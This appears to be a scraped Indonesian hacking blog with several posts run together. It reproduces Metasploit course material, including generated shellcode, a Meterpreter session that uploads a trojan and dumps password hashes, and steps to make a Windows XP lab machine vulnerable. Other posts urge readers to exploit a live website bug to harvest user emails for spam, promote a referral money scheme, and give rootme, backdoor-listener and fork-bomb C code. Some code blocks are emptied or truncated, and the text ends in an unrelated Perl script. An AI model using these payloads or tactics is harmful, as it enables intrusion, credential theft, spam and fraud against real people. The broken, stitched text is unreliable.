Metasploit contains many different types of payloads, each serving a unique role within the framework. Let's take a brief look at the various types of payloads available and get an idea of when each type should be used.
Inline (Non Staged)
  • A single payload containing the exploit and full shell code for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all in one. However some exploits wont support the resulting size of these payloads.
Staged
  • Stager payloads work in conjunction with stage payloads in order to perform a specific task. A stager establishes a communication channel between the attacker and the victim and reads in a stage payload to execute on the remote host.
Meterpreter
  • Meterpreter, the short form of Meta-Interpreter is an advanced, multi-faceted payload that operates via dll injection. The Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. Scripts and plugins can be loaded and unloaded dynamically as required and Meterpreter development is very strong and constantly evolving.
PassiveX
  • PassiveX is a payload that can help in circumventing restrictive outbound firewalls. It does this by using an ActiveX control to create a hidden instance of Internet Explorer. Using the new ActiveX control, it communicates with the attacker via HTTP requests and responses.
NoNX
  • The NX (No eXecute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory. In Windows, NX is implemented as Data Execution Prevention (DEP). The Metasploit NoNX payloads are designed to circumvent DEP.
Ord
  • Ordinal payloads are Windows stager based payloads that have distinct advantages and disadvantages. The advantages being it works on every flavor and language of Windows dating back to Windows 9x without the explicit definition of a return address. They are also extremely tiny. However two very specific disadvantages make them not the default choice. The first being that it relies on the fact that ws2_32.dll is loaded in the process being exploited before exploitation. The second being that it's a bit less stable than the other stagers.
IPv6
  • The Metasploit IPv6 payloads, as the name indicates, are built to function over IPv6 networks.
Reflective DLL injection
  • Reflective DLL Injection is a technique whereby a stage payload is injected into a compromised host process running in memory, never touching the host hard drive. The VNC and Meterpreter payloads both make use of reflective DLL injection. You can read more about this from Stephen Fewer, the creator of the reflective DLL injection method.

Metasploit Generating Payloads

During exploit development, you will most certainly need to generate shellcode to use in your exploit. In Metasploit, payloads can be generated from within the msfconsole. When you 'use' a certain payload, Metasploit adds the 'generate' command.
msf > use payload/windows/shell/bind_tcp
msf payload(bind_tcp) > help
...snip...

Payload Commands
================

    Command       Description
    -------       -----------
    generate      Generates a payload

msf payload(bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -b   The list of characters to avoid: '\x00\xff'
    -e   The name of the encoder module to use.
    -f   The output file name (otherwise stdout)
    -h        Help banner.
    -o   A comma separated list of options in VAR=VAL format.
    -s   NOP sled length.
    -t   The output type: ruby, perl, c, or raw.

To generate shellcode without any options, simply execute the 'generate' command. 

msf payload(bind_tcp) > generate
# windows/shell/bind_tcp - 298 bytes (stage 1)
# http://www.metasploit.com
# EXITFUNC=thread, LPORT=4444, RHOST=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb" +
"\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2" +
"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" +
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75" +
"\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9" +
"\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56" +
"\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" +
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85" +
"\xf6\x75\xec\xc3"
...snip...

About the Metasploit Meterpreter


Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more. Metepreter was originally written by skape for Metasploit 2.x, common extensions were merged for 3.x and is currently undergoing an overhaul for Metasploit 3.3. The server portion is implemented in plain C and is now compiled with MSVC, making it somewhat portable. The client can be written in any language but Metasploit has a full-featured Ruby client API.

How Meterpreter Works

  • The target executes the initial stager. This is usually one of bind, reverse, findtag, passivex, etc.
  • The stager loads the DLL prefixed with Reflective. The Reflective stub handles the loading/injection of the DLL.
  • The Metepreter core initializes, establishes a TLS/1.0 link over the socket and sends a GET. Metasploit receives this GET and configures the client.
  • Lastly, Meterpreter loads extensions. It will always load stdapi and will load priv if the module gives administrative rights. All of these extensions are loaded over TLS/1.0 using a TLV protocol.

Meterpreter Design Goals

"Stealthy"
  • Meterpreter resides entirely in memory and writes nothing to disk.
  • No new processes are created as Meterpreter injects itself into the compromised process and can migrate to other running processes easily.
  • By default, Meterpreter uses encrypted communications.
  • All of these provide limited forensic evidence and impact on the victim machine.
"Powerful"
  • Meterpreter utilizes a channelized communication system.
  • The TLV protocol has few limitations.
"Extensible"
  • Features can be augmented at runtime and are loaded over the network.
  • New features can be added to Meterpreter without having to rebuild it.

Adding Runtime Features

New features are added to Meterpreter by loading extensions.
  • The client uploads the DLL over the socket.
  • The server running on the victim loads the DLL in-memory and initializes it.
  • The new extension registers itself with the server.
  • The client on the attackers machine loads the local extension API and can now call the extensions functions.
This entire process is seamless and takes approximately 1 second to complete.

Metasploit Meterpreter Basics

Since the Meterpreter provides a whole new environment, we will cover some of the basic Meterpreter commands to get you started and help you get familiar with this most powerful tool. Throughout this course, almost every available Meterpreter command is covered. For those that aren't covered, experimentation is the key to successful learning. help The 'help' command, as may be expected, displays the Meterpreter help menu.
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...
background The 'background' command will send the current Meterpreter session to the background and return you to the msf prompt. To get back to your Meterpreter session, just interact with it again.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
ps The 'ps' command displays a list of running processes on the target.
meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...
migrate Using the 'migrate' post module, you can migrate to another process on the victim.
meterpreter > run post/windows/manage/migrate 

[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter >
ls As in Linux, the 'ls' command will list the files in the current remote directory.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...
download The 'download' command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.
meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

'upload As with the 'download' command, you need to use double-slashes with the 'upload' command.

meterpreter > upload evil_trojan.exe c:\\windows\\system32
[*] uploading  : evil_trojan.exe -> c:\windows\system32
[*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >
ipconfig The 'ipconfig' command displays the network interfaces and addresses on the remote machine.


meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >
getuid Running 'getuid' will display the user that the Meterpreter server is running as on the host.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
execute The 'execute' command runs a command on the target.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
shell' The 'shell' command will present you with a standard shell on the target system.
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
 
idletime Running 'idletime' will display the number of seconds that the user at the remote machine has been idle.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
hashdump The 'hashdump' post module will dump the contents of the SAM database.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
Baca Selengkapnya... Metasploit Fundamentals

Metasploit Unleashed

Metasploit Unleashed

This free information security training is brought to you in a community effort to promote awareness and raise funds for underprivileged children in East Africa. Through a heart-warming effort by several security professionals, we are proud to present the most complete and in-depth open course about the Metasploit Framework.
 
This is the free online version of the course. If you enjoy it and find it useful, we ask that you make a donation to the HFC (Hackers For Charity), $9.00 will feed a child for a month, so any contribution is welcome. We hope you enjoy this course as much as we enjoyed making it.

Introduction




“If I had eight hours to chop down a tree, I’d spend the first six of them sharpening my axe.”

-Abraham Lincoln








This saying has followed me for many years, and is a constant reminder to me that approaching a problem with the right set of tools is imperative for success. So what does this semi philosophical opening have to do with the Metasploit Framework? Before approaching a penetration test or an audit, I take care to “sharpen my tools” and update anything updatable in BackTrack. This includes a short chain reaction, which always starts with a prompt “svn update” of the Metasploit framework.

I consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel.

This course has be written in a manner to encompass not just the front end "user" aspects of the framework, but rather give you an introduction to the capabilities that Metasploit provides. We aim to give you an in depth look into the many features of the MSF, and provide you with the skill and confidence to utilize this amazing tool to its utmost capabilities.


Keep in mind that the MSF is constantly evolving and I suspect that by the time this course comes to light, there will have been many changes and additions in the project. We will attempt to keep this course up to date with all new and exciting Metasploit features as they are added. 

A degree of prerequisite knowledge is expected and required of students before the content provided in this course will be useful. If you find you are unfamiliar with a certain topic, we recommend you spend time engaging in self research on the problem before attempting the module. There is nothing more satisfying than solving problems yourself, so we we highly encourage you to Try Harder

Metasploit Architechture

Filesystem and Libraries

The MSF filesystem is laid out in an intuitive manner and is organized by directory.
  • lib: the 'meat' of the framework code base
  • data: editable files used by Metasploit
  • tools: various useful command-line utilities
  • modules: the actual MSF modules
  • plugins: plugins that can be loaded at run-time
  • scripts: Meterpreter and other scripts
  • external: source code and third-party libraries 

Libraries 

 Rex

  • The basic library for most tasks
  • Handles sockets, protocols, text transformations, and others
  • SSL, SMB, HTTP, XOR, Base64, Unicode

Msf::Core

  • Provides the 'basic' API
  • Defines the Metasploit Framework

Msf::Base

  • Provides the 'friendly' API
  • Provides simplified APIs for use in the Framework

Modules and Locations

Metasploit, as presented to the user, is composed of modules.

Exploits

Defined as modules that use payloads An exploit without a payload is an Auxiliary module

Payloads, Encoders, Nops

Payloads consist of code that runs remotely Encoders ensure that payloads make it to their destination Nops keep the payload sizes consistent.

Modules Locations

Primary Module Tree

  • Located under $install/modules//

User-Specified Module Tree

  • Located under ~/.msf3/modules//
  • This location is ideal for private module sets

Loading Additional Trees at Runtime

  • Pass the -m option when running msfconsole (./msfconsole -m)
  • Use the loadpath command within msfconsole

Metasploit Object Model

In the Metasploit Framework, all modules are Ruby classes.
  • Modules inherit from the type-specific class
  • The type-specific class inherits from the Msf::Module class
  • There is a shared common API between modules
Payloads are slightly different.
  • Payloads are created at runtime from various components
  • Glue together stagers with stages

 

Mixins and Plugins

A quick diversion into Ruby.
  • Every Class only has one parent
  • A class may include many Modules
  • Modules can add new methods
  • Modules can overload old methods
  • Metasploit modules inherit Msf::Module and include mixins to add features.


Metasploit Mixins

Mixins are quite simply, the reason why Ruby rocks.
  • Mixins 'include' one class into another
  • This is both different and similar to inheritance
  • Mixins can override a class' methods
Mixins can add new features and allows modules to have different 'flavors'.
  • Protocol-specific (ie: HTTP, SMB)
  • Behavior-specific (ie: brute force)
  • connect() is implemented by the TCP mixin
  • connect() is then overloaded by FTP, SMB, and others.
Mixins can change behavior.
  • The Scanner mixin overloads run()
  • Scanner changes run() for run_host() and run_range()
  • It calls these in parallel based on the THREADS setting
  • The BruteForce mixin is similar
[CODE]

class MyParent
     def woof
          puts “woof!”
     end
end

class MyClass < MyParent
end

object = MyClass.new
object.woof() => “woof!”

================================================================

module MyMixin
     def woof
          puts “hijacked the woof method!”
     end
end

class MyBetterClass < MyClass
     include MyMixin
end

[/CODE] 


Metasploit Plugins

Plugins work directly with the API.
  • They manipulate the framework as a whole
  • Plugins hook into the event subsystem
  • They automate specific tasks which would be tedious to do manually
Plugins only work in the msfconsole.
  • Plugins can add new console commands
  • They extend the overall Framework functionality

Required Materials

It should come as no surprise that the majority of exploits available in the Metasploit Framework are targeted against Microsoft Windows, so in order to complete the course labs you will require a target system to attack. This system should consist of a Virtual Machine running on your choice of host operating system.

While VMware Converter and VMware Player are "free", you will have to register for the downloads. However, the virtualization applications and appliances are well worth the registration if you're not already a current member. You may also use VMware Workstation or other implementations of Virtual Infrastructure.

This course was created using the latest svn trunk version of the Metasploit Framework which, at the time of this writing is version 3.3-dev. If you are using back|track 4 as your platform, you can always update to the latest version of the trunk by issuing a 'svn up' in the '/pentest/exploits/framework3/' directory.


Hardware Prerequisites

Before we dive into the wonderful world of the Metasploit Framework we need to ensure our hardware will meet or exceed some requirements before we proceed. This will help eliminate many problems before they arise later in this document.

All values listed are estimated or recommended. You can get away with less although performance will suffer.

Some of the hardware requirements that should be considered are:
  • Hard Drive Space
  • Available Memory
  • Processors Capabilities
  • Inter/Intra-net Access


Hard Drive Space

This will be the most taxing hurdle to overcome. Be creative if you might have some storage space constraints. This process can consume almost 20 gigabytes of Storage space, so be forewarned. This means we can not use a FAT32 partition since it does not support large files. Choose NTFS, ext3 or some other format. The recommended amount of space needed is 40 gigabytes.

If you decided to produce clones or snapshots as you progress through this course, these will also take up valuable space on your system. Be vigilant and do not be afraid to reclaim space as needed.



Available Memory

Without supplying enough memory to your HOST and GUEST operating systems you will eventually cause system failure. You are going to require RAM for your host OS as well as the equivalent amount of RAM that you are dedicating for each virtual machine. Use the guide below to aid you in deciding the amount of RAM needed for your situation.


[CODE]

Linux "HOST" Minimal Memory Requirement's

   1GB of system memory (RAM)
        Realistically 2GB or more
  
Per Windows "GUEST" Minimal Memory Requirement's
   
   At least 256 megabytes (MB) of RAM (1GB is recommended) // more never hurts!
        Realistically 1GB or more with a SWAP file of equal value
   
(Optional) Backtrack "GUEST" Minimal Memory Requirement's

   AT least 512 megabytes (MB) of RAM (1GB is recommended) // more never hurts!
     Realistically 1GB or more with a SWAP file of equal value
[/CODE]

Processor

Processor Speed is always a problem with dated hardware although old hardware can be utilized in other fashions to serve a better purpose. The bare-minimum requirement for VMware Player is a 400MHz or faster processor (500MHz recommended). The more horsepower you can throw at it, of course, the better.

Internet Accessibility

This can be solved with a cat5 cable from your router/switch/hub. If there is no DHCP server on your network you will have to assign static IP addresses to your GUEST VM's. A wireless network connection can work just as well as an Ethernet cable, however, the signal degradation over distance, through objects, and structures will severely limit your connectivity.

Metasploitable

One of the problems you encounter when learning how to use an exploitation framework is trying to configure targets to scan and attack. Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. This VM has a number of vulnerable services and packages installed for you to hone your skills on.

The VM will run on any recent VMware product and is configured with a non-persistent disk so any potential damage you do to the system will be reverted on reboot. For more information on Metasploitable, you can read the introductory blog post at http://www.metasploit.com/express/community and download the torrent file from http://www.metasploit.com/express/community.

Once you have downloaded the VM, extract the zip file, open up the vmx file using your VMware product of choice, and power it on. After a brief time, the system will be booted and ready for action.


For more information on the VM configuration, there is a readme.txt file but beware...there are spoilers in it.

Setting up your Windows XP SP2

In order to get the most benefit from the information in this course, you will require access to an installation of Windows XP SP2 to test against. It is highly recommended that you set up a virtual machine using a product such as VirtualBox, VirtualPC, or the free VMware Server.

If you don't happen to have an old WinXP CD lying around, you can try to download the Federal Desktop Core Configuration (FDCC) image from NIST. If you choose this route, you will need to remove all of the patches that are installed in the VM.

Making The XP Machine Vulnerable

  1. Go into the Control Panel and select "Switch to Classic View" on the left-hand side.
  2. Open "Windows Firewall" and turn it "Off".
  3. Open "Automatic Updates" and select "Turn off Automatic Updates" so Windows doesn't undo our changes for us.
  4. Open "Security Center", select "Change the way Security Center alerts me" on the left-hand side and de-select all of the checkboxes. This will disable the annoying system tray pop-up notifications.
  5. Back in the Control Panel, open "Add or Remove Programs". Select the "Show updates" checkbox at the top. This will display all of the software and security updates that have been installed.
  6. Still in the Control Panel, from the toolbar, select "Tools", then "Folder Options". Select the "View" tab and scroll all the way to the bottom. Make sure you un-check the box next to "Use simple file sharing" and click "OK".


Setting Up Additional Services

In order to provide a larger attack surface for the various components of Metasploit, we will enable and install some additional services within our Windows virtual machine. Bear in mind that you will require the Windows XP installation CD or iso in order to install additional services in the VM.


Internet Information Services (IIS) and Simple Network Management Protocol (SNMP)

To begin, navigate to the Control Panel and open "Add or Remove Programs". Select "Add/Remove Windows Components" on the left-hand side.

Select the "Internet Information Services (IIS)" checkbox and click "Details". Select the "File Transfer Protocol (FTP) Service" checkbox and click "OK". By default, the installed IIS FTP service allows for anonymous connections.  

Lastly, select the "Management and Monitoring Tools" checkbox and click "Details". Ensure that both options are selected and click "OK". When all is ready, click "Next" to proceed with the installation of IIS and SNMP. 

There is an issue with the .NET Framework installed in the NIST virtual machine but it is easily fixed. In the Control Panel, select "Add or Remove Programs" again, select "Microsoft .NET Framework 2.0 Service Pack 1", and click "Change".


A progress window will pop up and a progress bar will be displayed and then it will close. This is normal behavior and you can now exit the Control Panel and proceed. 

SQL Server 2005 Express

We will also perform an installation of Microsoft's free SQL Server 2005 Express. This will allow us to use some of the different SQL modules in Metasploit. First, download the non-service pack version of SQL Server Express

Note that if you are using your own custom-built VM for this course, you will need to install the Windows Installer 3.1 and the .Net Framework 2.0 in order to install SQL Express.
Windows Installer 3.1
.NET Framework 2.0

Once the installer has finished downloading, we can run it and select all of the defaults except for "Authentication Mode". Select "Mixed Mode", set an "sa" password of "password1", and then continue on with the rest of the installation.


Once the installation is complete, we will need to make it accessible on our network. Click "Start" -> "All Programs" -> "Microsoft SQL Server 2005" -> "Configuration Tools" -> "SQL Server Configuration Manager". When the Configuration Manager starts up, select "SQL Server 2005 Services", right-click "SQL Server (SQL EXPRESS)" and select "Stop". Next, expand "SQL Server 2005 Network Configuration" and select "Protocols for SQLEXPRESS".

Double-click "TCP/IP", change "Enabled" to "Yes", and change "Listen All" to "No" on the "Protocol" tab.

Next, select the "IP Addresses" tab, and remove any entries under "IPAll". Under "IP1" and "IP2", remove any values for "Dynamic Ports". Both IP1 and IP2 should have "Active" and "Enabled" set to "Yes". Lastly, set the IP1 "IP Address" to your local address and set the IP2 address to 127.0.0.1. Your settings should look similar to the screenshot below. Click "OK" when everything is set correctly.


Next, we'll enable the SQL Server Browser service. Select "SQL Server 2005 Services" and double-click "SQL Server Browser". On the "Service" tab, set the "Start Mode" to "Automatic" and click "OK".


By default, the SQL server runs under a limited-privilege account which breaks a lot of custom web applications. We will change this by double-clicking "SQL Server (SQLEXPRESS)" and setting it to Log On as the Built-in Account "Local System". This can also be set by running "services.msc". Click "OK" when you've finished.

With everything finally configured, right-click "SQL Server (SQL EXPRESS)" and select "Start". Do the same for the "SQL Server Browser" service. You can now exit the Configuration Manager and verify that the services are listening properly by running "netstat -ano" from a command prompt. You should see UDP port 1434 listening as well as your network IP address listening on port 1433.




Creating A Vulnerable Webapp

In order to create our vulnerable web app, you will need to download Server Management Studio Express.

Install SQL Server Managment Studio Express, accepting all of the defaults for the installation then run it via "Start" -> "All Programs" -> "Microsoft SQL Server 2005" -> "SQL Server Management Studio Express".

When Management Studio starts up, select "SQL Server Authentication" and connect using the username "sa" and password of "password1".

Right-click "Databases" in the "Object Explorer" and select "New Database".

Enter "WebApp" for the database name and click "OK". In the "Object Explorer", expand "Databases", and expand the "WebApp" database. Right-click "Tables" and select "New Table".


Create a new table named "users" with the column names and types as shown below. 

Save the "users" table, right-click it and select "Open Table".
 
 Enter in some sample data into the table and save all of your work.
 



Under the main "Object Explorer" tree, expand "Security", then "Logins". Right-click "Logins" and select "New Login".

In the "Login - New" window, select "Search", enter "aspnet" and click "Check Names". Click "OK" but keep the "Login - New" window open.


Click on properties for ASPNET, and ensure that under user mapping the user account has db_owner and public rights to the WebApp database.


Next, we need to create our website to interact with the back-end database we created. Start Notepad and paste the following code into a new document. Save this file as "C:\Inetpub\wwwroot\Default.aspx".
[CODE]
Default.aspx
 [/CODE]

Create another document containing the following code and save it as "C:\Inetpub\wwwroot\Default.aspx.cs".
[CODE]
Default.aspx.cs

[/CODE]

Lastly, create a file containing the following and save it as "C:\Inetpub\wwwroot\Web.config".
[CODE]
Web.config 
[/CODE]

Open up Internet Explorer an enter "http://". You should be presented with a login form. Enter a bogus set of credentials to verify that the query is running correctly on the database.
Baca Selengkapnya... Metasploit Unleashed

26 March 2011

Error On http://www.devilzc0de.org/home.dc <= maklum masih beta

Pertama² coba register ke http://www.devilzc0de.org/

setelah register lakukan login tanpa melalui aktivasi dengan kata lain kita bisa memasukkan sembarang email (email fiktif)

setelah login kita akan diarahkan ke halaman http://www.devilzc0de.org/home.dc

copy paste script ini ke url browser anda
copy  dan paste kan script ini ke browser anda pada halaman http://www.devilzc0de.org/home.dc

taddddddda apa yang terjadi ???
semua list email user yang register pada website http://www.devilzc0de.org akan terlihat dengan jelas

So....catat semua alamat emailnya dan kirimi spam yang banyak biar serrrrruuuuuuuuuu..........wkwkkwkwkwkwkkk

sekilas tampilan dari error tersebut :
Baca Selengkapnya... Error On http://www.devilzc0de.org/home.dc <= maklum masih beta

15 March 2011

I will teach you who to make money on KUDOS FOR FREE!! PER 1 REFERRAL YOU GET 25$!!!

Can i join?
  • Yes, Kudos is Open World Wide.


What are the requirements?
  • Complete an offer (free or paid)
  • Verified PayPal Account.


Is this a Scam?
  • Nope! It's 100% legit.
  • And this is how it work.
  1. Register at Kudos network.
  2. Complete an offer.
  3. Refer your friends and each of them complete an offer too.
  4. The companies you and your friends completed offers pays Kudos Network and that money is used to buy your GIFT or receive it as $,£,€ on your PayPal.

Do you need Proof?
Just see the testimonials they are for real.... I already got paid once 51£.



But as always there is a problem...

And the problem is... WTF??? Why did I only discovered this site now? -.-...

Do you want to receive your money? Just request it sending one mail to me! ;) and I will pay u! ;) 
Please after that leave a testimonial...
Baca Selengkapnya... I will teach you who to make money on KUDOS FOR FREE!! PER 1 REFERRAL YOU GET 25$!!!

rootme.c <= untested (masih ngantuk coyyyyy)

#include 
#include 
#include 
#include 
#include 

int main(int argc, char *argv[]) {

 if (argc < 4) {
  fprintf(stderr, "%s:   \n", argv[0]);
  exit(1);
 }

 {
  char *user = argv[1];
  char *group = argv[2];
  char *file = argv[3];
  char buf[200];

  stdout = freopen(file, "a", stdout);

  /* set gid if necessary */
  if (group) {
   struct group *gr;

   if ((gr = getgrnam(group)) == NULL) {
    fprintf(stderr, "no such group %s - aborted", group);
    exit(1);
   }

   if (setgid(gr->gr_gid) || setegid(gr->gr_gid)) {
    fprintf(stderr, "setgid: %s - aborted", strerror(errno));
    exit(1);
   }
  }

  /* set uid if necessary */
  if (user) {
   struct passwd *pw;

   if ((pw = getpwnam(user)) == NULL) {
    fprintf(stderr, "no such user %s - aborted", user);
    exit(1);
   }
   if (setuid(pw->pw_uid) || seteuid(pw->pw_uid)) {
    fprintf(stderr, "setuid: %s - aborted", strerror(errno));
    exit(1);
   }
  }

  fprintf(stderr, "now go erase the file '%s', 

  recreate it as root:root and press enter\n", file);
  fgets(buf, sizeof(buf), stdin);

  stdout = freopen(file, "a", stdout);
  if (stdout == NULL) {
   perror("freopen");
  }
  fprintf(stdout, "jama\n");

  exit(0);
 }
}
Baca Selengkapnya... rootme.c <= untested (masih ngantuk coyyyyy)

backdoor-listener.c

#include 
#include 
#include 
#include 
#include 

int main() {
int fd;
struct sockaddr_in sa;
int port = 9994;

    if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  perror("socket()");
  exit(1);
 }


 memset((char *) &sa, 0, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_addr.s_addr = htonl(INADDR_ANY);
 sa.sin_port = htons(port);

 if (bind(fd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
  perror("bind()");
  exit(1);
 }
 
 if (listen(fd, 1) == -1) {
  perror("listen()");
 }
 fprintf(stderr, "done binding\n");
 sleep(10000);
}
Baca Selengkapnya... backdoor-listener.c

zombiebomb.c

#include 
#include 
/*
* 23:30:37 @d4wfl1n> /bin/sh -c 'echo -n kill -STOP $$ \; ; echo -n sleep 1\; ; sleep 1000 &  echo kill -KILL $! ; echo ; echo ; sleep 1000'  | sh -x
*/

int main(int argc, char *argv[]) {
 int i, c = (argc > 1 ? atoi(argv[1]) : 1024);

 printf("will create %d zombies. press  or \n", c);
 getchar();

 printf("creating %d zombies\n");
 for (i = 0; i < c; i++) {
  if (fork() == 0) {
   exit(0);
  }
 }

 printf("Press  to exit and let shell reap them\n", c);
 getchar();
 printf("exiting...\n");
}
Baca Selengkapnya... zombiebomb.c

14 March 2011

brokyplo.pl


#!/usr/bin/perl

use strict;
use warnings;

use LWP::UserAgent;
use Getopt::Long;
use File::Slurp;
use Term::ANSIColor;
use Env;

my $script_version = '0.3.4';

# Set the main folder which contains all the saved data.

my $main_folder = "$HOME/.brokyplo/";

# This variable will contain the name of the company, for example
# Google Inc, Apple Inc, etc. $company_name_parsed will contain
# instead the full name of the company, parsed by a regexp.
# $company_description_parsed, is used when the option --info is called;
# It will contain all the information of the company.

my $company_name               = '';
my $company_name_parsed        = '';
my $company_description_parsed = '';

# $price_to_color, will be used in the sub function color_price() at the
# line 342, to color the name of the stock market quotes (in order to
# make it more readable data visualization). $file_content will be used
# instead, to contain the content of the file dot brk saved.

my $price_to_color = '';
my $file_content   = '';

# The following group of scalars belong, to the function GetOptions().
# Each of them is used for the parameter which will be passed from
# command line.

my $parameter_show_info;
my $parameter_delete_item;
my $parameter_save_item;
my $parameter_read_item;
my $parameter_cleans_folder;
my $parameter_help;

# LWP::UserAgent scalars, which will compose the requests and the
# responses. At the end the $lwp_content will contain the page content.

my ( $lwp_useragent, $lwp_response, $lwp_content ) = ( '', '', '' );

# The following scalars, will be used to record the precise time when
# the stock quotes are saved in the database.

my $log_minutes = (localtime)[1];
my $log_hours   = (localtime)[2];
my $log_day     = (localtime)[3];
my $log_month   = (localtime)[4];
my $log_year    = 1900 + (localtime)[5];

# $price_id and $price_ch, will contain the information to show
# if the currency is in decline or is on the rise.

my ( $price_id, $price_ch ) = ( '', '' );

my $FILEHANDLE;
my $DIRHANDLE;

# This vector will be used to show all the information on the
# stock quotes, during the final iteration.

my @regular_expression_keys = (
    'Range',   '52 week', 'Open',      'Vol / Avg.',
    'Mkt cap', 'P/E',     'Div/yield', 'EPS',
    'Shares',  'Beta',    'Inst. own',
);

# @regular_expression_values, will contain the regexp to parse in the
# final iteration except the value eleven.

my @regular_expression_values = (
    'Range
(.*?)',
'52 week
(.*?)',
    'Open
(.*?)',
